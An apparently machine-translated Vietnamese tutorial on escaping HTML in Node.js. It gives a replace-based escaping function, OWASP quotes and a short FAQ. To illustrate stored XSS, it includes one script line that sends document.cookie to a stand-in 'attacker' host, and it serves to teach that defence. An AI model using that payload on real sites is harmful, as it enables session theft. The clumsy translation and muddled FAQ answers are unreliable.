Nodejs thoát khỏi HTML

Trong phần này đã trình bày giải pháp thay thế các ký tự HTML đặc biệt bằng mã (kiểm tra danh sách ký tự tại đây)

Ghi chú. giải pháp này hoạt động dưới Nút. js.  

// ONLINE-RUNNER:browser;

<!doctype html>
<html>
<body>
  <script>

    var HTMLUtils = new function() {
        var rules = [
            { expression: /&/g, replacement: '&amp;'  }, // keep this rule at first position
            { expression: /</g, replacement: '&lt;'   },
            { expression: />/g, replacement: '&gt;'   },
            { expression: /"/g, replacement: '&quot;' },
            { expression: /'/g, replacement: '&#039;' } // or  &#39;  or  &#0039;
                                                        // &apos;  is not supported by IE8
                                                        // &apos;  is not defined in HTML 4
        ];
        this.escape = function(html) {
            var result = html;
            for (var i = 0; i < rules.length; ++i) {
                var rule = rules[i];
                result = result.replace(rule.expression, rule.replacement);
            }
            return result;
        }
    };

    
    // Usage example:

    var escapedHtml = HTMLUtils.escape('<div class="item">Hi! How are you?</div>');
    
    // Printing in body:
    document.body.innerHTML = escapedHtml; // we can display it as text too
    
    // Printing in console:
    console.log(escapedHtml); // &lt;div class=&quot;item&quot;&gt;Hi! How are you?&lt;/div&gt;
    
  </script>
</body>
</html>

2. Ví dụ về thuộc tính innerText

Bằng cách đặt văn bản trên phần tử bằng cách sử dụng innerText và trả lại văn bản đó bằng innerHTML, chúng tôi có thể thoát khỏi các ký tự HTML đặc biệt

Ghi chú. theo mặc định, phương pháp này không hoạt động trong Nút. js vì DOM không được hỗ trợ ở đó (thư viện bổ sung bắt buộc)

HTML và các ngôn ngữ web khác kết hợp nội dung với mã thực thi - một đoạn HTML đơn lẻ có thể chứa biểu diễn dữ liệu trực quan cùng với hướng dẫn thực thi JavaScript. Khi hiển thị HTML hoặc trả về dữ liệu từ API, những gì chúng tôi tin là nội dung thuần túy thực sự có thể bao gồm mã JavaScript sẽ được trình duyệt diễn giải và thực thi. Ví dụ: điều này xảy ra khi chúng tôi hiển thị nội dung do kẻ tấn công chèn vào cơ sở dữ liệu - ví dụ: <div><script>//malicious code</script></div>. Điều này có thể được giảm thiểu bằng cách hướng dẫn trình duyệt coi bất kỳ đoạn dữ liệu không đáng tin cậy nào chỉ là nội dung và không bao giờ diễn giải nó - kỹ thuật này được gọi là thoát. Nhiều thư viện npm và công cụ tạo khuôn mẫu HTML cung cấp khả năng thoát (ví dụ. thoát-html, nút-esapi). Không chỉ nội dung HTML phải được thoát mà cả CSS và JavaScript

Ví dụ mã - Không đưa dữ liệu không đáng tin cậy vào HTML của bạn

  1. <script>...NEVER PUT UNTRUSTED DATA HERE...</script> directly in a script
  2. <!--...NEVER PUT UNTRUSTED DATA HERE...--> inside an HTML comment
  3. <div ...NEVER PUT UNTRUSTED DATA HERE...=test /> in an attribute name
  4. <NEVER PUT UNTRUSTED DATA HERE.. href="/test" /> in a tag name
  5. <style>...NEVER PUT UNTRUSTED DATA HERE...</style> directly in CSS

Ví dụ về mã - Nội dung độc hại có thể được đưa vào DB

  1. <div>
  2. <b>A pseudo comment to the a post</b>
  3. <script>
  4. window.location='http://attacker/?cookie='+document.cookie
  5. </script>
  6. </div>

Trích dẫn blog. “Khi chúng tôi không muốn các ký tự được diễn giải”

Từ Blog benramsey. com

Dữ liệu có thể rời khỏi ứng dụng của bạn ở dạng HTML được gửi tới trình duyệt Web, SQL được gửi tới cơ sở dữ liệu, XML được gửi tới trình đọc RSS, WML được gửi tới thiết bị không dây, v.v. Các khả năng là vô hạn. Mỗi trong số này có bộ ký tự đặc biệt riêng được diễn giải khác với phần còn lại của văn bản thuần nhận được. Đôi khi, chúng tôi muốn gửi các ký tự đặc biệt này để chúng được giải thích (ví dụ: thẻ HTML được gửi tới trình duyệt Web), trong khi những lần khác (trong trường hợp đầu vào từ người dùng hoặc một số nguồn khác), chúng tôi không muốn các ký tự

Thoát đôi khi cũng được gọi là mã hóa. Nói tóm lại, đó là quá trình biểu diễn dữ liệu theo cách mà nó sẽ không được thực thi hoặc giải thích. Ví dụ: HTML sẽ hiển thị văn bản sau trong trình duyệt Web dưới dạng văn bản được in đậm vì các thẻ có ý nghĩa đặc biệt. Đây là văn bản in đậm. Tuy nhiên, giả sử tôi muốn hiển thị các thẻ trong trình duyệt và tránh diễn giải chúng. Sau đó, tôi cần thoát khỏi dấu ngoặc nhọn, có ý nghĩa đặc biệt trong HTML. Sau đây minh họa HTML đã thoát

**

Đây là văn bản in đậm.

Trích dẫn blog. “OWASP khuyến nghị sử dụng thư viện mã hóa tập trung vào bảo mật”

Từ blog Ngăn chặn Cheat Sheet_Prevention_Cheat_Sheet của OWASP XSS (Cross Site Scripting)

“Viết những bộ mã hóa này không quá khó, nhưng có khá nhiều cạm bẫy tiềm ẩn. Ví dụ: bạn có thể muốn sử dụng một số phím tắt thoát như “ trong JavaScript. Tuy nhiên, những giá trị này rất nguy hiểm và có thể bị trình phân tích cú pháp lồng nhau trong trình duyệt hiểu sai. Bạn cũng có thể quên thoát khỏi ký tự thoát hiểm, thứ mà những kẻ tấn công có thể sử dụng để vô hiệu hóa nỗ lực của bạn để được an toàn. OWASP khuyên bạn nên sử dụng thư viện mã hóa tập trung vào bảo mật để đảm bảo các quy tắc này được triển khai đúng cách. ”

Trích dẫn blog. “Bạn PHẢI sử dụng cú pháp thoát cho một phần của HTML”

Từ blog Ngăn chặn Cheat Sheet_Prevention_Cheat_Sheet của OWASP XSS (Cross Site Scripting)

“Nhưng mã hóa thực thể HTML không hoạt động nếu bạn đặt dữ liệu không đáng tin cậy bên trong thẻ ở bất kỳ đâu hoặc thuộc tính trình xử lý sự kiện như onmouseover hoặc bên trong CSS hoặc trong URL. Vì vậy, ngay cả khi bạn sử dụng phương thức mã hóa thực thể HTML ở mọi nơi, rất có thể bạn vẫn dễ bị XSS. Bạn PHẢI sử dụng cú pháp thoát cho phần tài liệu HTML mà bạn đang đưa dữ liệu không đáng tin cậy vào. ”

Làm cách nào để thoát trong nút js?

Hàm escape() được sử dụng để tạo chuỗi truy vấn được mã hóa phần trăm từ một chuỗi bình thường . Phương pháp này rất giống với các hàm encodeURIComponent của trình duyệt. Phương thức này thực hiện mã hóa phần trăm trên chuỗi đã cho, nghĩa là nó mã hóa bất kỳ chuỗi nào thành chuỗi truy vấn URL bằng cách sử dụng ký hiệu %.

Làm cách nào để thoát khỏi các thực thể HTML trong JavaScript?

Sử dụng phương thức Replace() . Chúng ta có thể sử dụng phương thức replace() để thay thế ký tự này bằng ký tự khác. Ở đây, chúng ta sẽ thay thế tất cả các ký tự đặc biệt trong chuỗi HTML bằng Unicode của chúng bằng cách sử dụng phương thức replace().

Làm cách nào để thoát các ký tự đặc biệt HTML trong JavaScript?

Để sử dụng ký tự đặc biệt làm ký tự thông thường, hãy thêm dấu gạch chéo ngược vào trước ký tự đó. \ . . Đó cũng được gọi là "thoát khỏi một nhân vật".

HTML không thoát là gì?

Html. phương thức unescape() giúp chúng ta chuyển chuỗi ascii thành tập lệnh html bằng cách thay thế các ký tự ascii bằng các ký tự HTML đặc biệt .